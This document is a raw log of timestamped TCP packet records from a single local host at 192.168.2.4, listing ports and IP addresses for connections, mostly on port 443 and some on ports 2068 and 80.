Nov 23, 2024 21:11:37.784444094 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.784461021 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.784497023 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.784569025 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.786520004 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.786536932 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:38.783798933 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:38.784317970 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:38.784362078 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:38.785444021 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:38.785523891 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:38.786600113 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:38.786667109 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:38.786775112 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:38.786783934 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:38.827863932 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:38.836529970 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:38.836807966 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:38.836832047 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:38.837313890 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:38.837642908 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:38.837774992 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:38.837819099 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:38.890150070 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:38.961085081 CET	2068	49741	147.185.221.24	192.168.2.4
Nov 23, 2024 21:11:38.961318970 CET	49741	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:11:39.046617031 CET	49741	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:11:39.047472000 CET	49798	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:11:39.200778008 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.200809956 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.200817108 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.200892925 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.200937986 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.225646973 CET	2068	49741	147.185.221.24	192.168.2.4
Nov 23, 2024 21:11:39.225704908 CET	2068	49798	192.168.68.139	192.168.2.4
Nov 23, 2024 21:11:39.225792885 CET	49798	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:11:39.254391909 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.278426886 CET	49798	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:11:39.333220959 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.333614111 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.333661079 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.334017992 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.334307909 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.334393024 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.334441900 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.373478889 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.373496056 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.373539925 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.373553991 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.373723984 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.374891996 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.374927998 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.398942947 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.398957014 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.399069071 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.399107933 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.425173044 CET	2068	49798	192.168.68.139	192.168.2.4
Nov 23, 2024 21:11:39.452090025 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.452105999 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.452138901 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.452164888 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.452193022 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.452238083 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.452254057 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.452297926 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.452342987 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.453012943 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:39.453027964 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:39.632819891 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:39.632884026 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:39.633018970 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:39.633059978 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:39.633078098 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:39.633126974 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:39.633147955 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:39.633173943 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:39.633352995 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:39.633373022 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:39.633377075 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:39.633490086 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:39.633511066 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:39.633611917 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:39.633625984 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:39.730525970 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730565071 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730576992 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730614901 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730634928 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730642080 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730673075 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.730694056 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.730709076 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.730736971 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.794980049 CET	80	49724	84.201.208.104	192.168.2.4
Nov 23, 2024 21:11:39.795109034 CET	49724	80	192.168.2.4	84.201.208.104
Nov 23, 2024 21:11:39.795161963 CET	49724	80	192.168.2.4	84.201.208.104
Nov 23, 2024 21:11:39.886199951 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.886228085 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.886264086 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.886288881 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.886301994 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.886328936 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.886362076 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.886377096 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.886404037 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.914434910 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.914516926 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.914555073 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:39.914602041 CET	80	49724	84.201.208.104	192.168.2.4
Nov 23, 2024 21:11:39.914625883 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.914660931 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.915124893 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:39.915142059 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.082406044 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.082459927 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.082581997 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.082622051 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.082670927 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.132919073 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.132942915 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.133013010 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.133029938 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.133065939 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.273248911 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.273272991 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.273332119 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.273349047 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.273387909 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.299019098 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.299048901 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.299091101 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.299105883 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.299211025 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.299211025 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.320632935 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.320652962 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.320708036 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.320723057 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.320760012 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.355242968 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.355262041 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.355319977 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.355336905 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.355364084 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.355374098 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.467297077 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.467396975 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:40.467401981 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.467438936 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.467832088 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:40.467859030 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:41.330252886 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.330662012 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.330693007 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.331741095 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.331805944 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.338459015 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.338581085 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.338761091 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.338776112 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.390779018 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.615268946 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.615515947 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.615540028 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.616513014 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.616569996 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.616903067 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.616955996 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.617047071 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.617055893 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:41.658595085 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:41.736943007 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:41.739624977 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:41.739650965 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:41.743241072 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:41.743324995 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:41.743659973 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:41.743788958 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:41.743839979 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:41.796001911 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:41.796026945 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:41.844104052 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.146748066 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.146779060 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.146950960 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.146991968 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.147202015 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.164877892 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.164891005 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.164997101 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.352962017 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.352973938 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.353015900 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.353034019 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.353044987 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.353173971 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.353192091 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.389739037 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.389801025 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.389863968 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.389880896 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.389925957 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.425950050 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.425982952 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.426033020 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.426062107 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.426069021 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.426260948 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.426312923 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.426471949 CET	49799	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:42.426487923 CET	443	49799	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:42.547771931 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:42.547796011 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:42.547874928 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:42.548011065 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:42.548012018 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:42.548787117 CET	49800	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:42.548816919 CET	443	49800	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:42.742357016 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:42.742433071 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:42.742536068 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:42.742747068 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:42.742774010 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:43.184007883 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:43.184034109 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:43.184041977 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:43.184073925 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:43.184107065 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:43.184153080 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:43.184206009 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:43.195636034 CET	49801	443	192.168.2.4	108.158.71.127
Nov 23, 2024 21:11:43.195653915 CET	443	49801	108.158.71.127	192.168.2.4
Nov 23, 2024 21:11:43.468444109 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:43.468487024 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:43.468537092 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:43.470108032 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:43.470123053 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:43.477402925 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:43.477432966 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:43.477482080 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:43.477669001 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:43.477680922 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:43.606245995 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:43.606285095 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:43.606333017 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:43.606558084 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:43.606571913 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:44.643212080 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:44.647397041 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:44.647423029 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:44.649077892 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:44.649132013 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:44.649466038 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:44.649580002 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:44.649636984 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:44.649655104 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:44.704509974 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.005558968 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.006056070 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:45.006076097 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.007287979 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.007627010 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:45.007774115 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:45.007781029 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.007807016 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.051254034 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:45.407061100 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.407358885 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.407372952 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.408407927 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.408473969 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.408775091 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.408827066 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.408936024 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.408942938 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.454647064 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.562146902 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:45.562410116 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:45.562421083 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:45.563483953 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:45.563543081 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:45.563855886 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:45.563941002 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:45.564003944 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:45.564008951 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:45.609483004 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:45.646358967 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.646454096 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.646507978 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:45.647440910 CET	49803	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:45.647459984 CET	443	49803	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:45.651879072 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:45.651926041 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:45.651995897 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:45.652208090 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:45.652216911 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:45.821747065 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.821777105 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.821830034 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.821850061 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.822880983 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:45.822923899 CET	443	49802	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:45.822973013 CET	49802	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:46.859673977 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.859738111 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.859759092 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.859798908 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.859827042 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:46.859841108 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.859852076 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:46.861150026 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:46.861382961 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:46.861470938 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.861875057 CET	443	49804	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:46.861934900 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:46.861949921 CET	49804	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:47.071630955 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.117343903 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.117388010 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.117432117 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.117454052 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.117454052 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.117491961 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.117513895 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.117544889 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.117544889 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.117572069 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.120579958 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.120651960 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.122406006 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.122652054 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.122677088 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.152373075 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:47.154521942 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:47.154553890 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:47.155715942 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:47.159593105 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:47.159732103 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:47.159770012 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:47.204336882 CET	49806	443	192.168.2.4	54.171.242.81
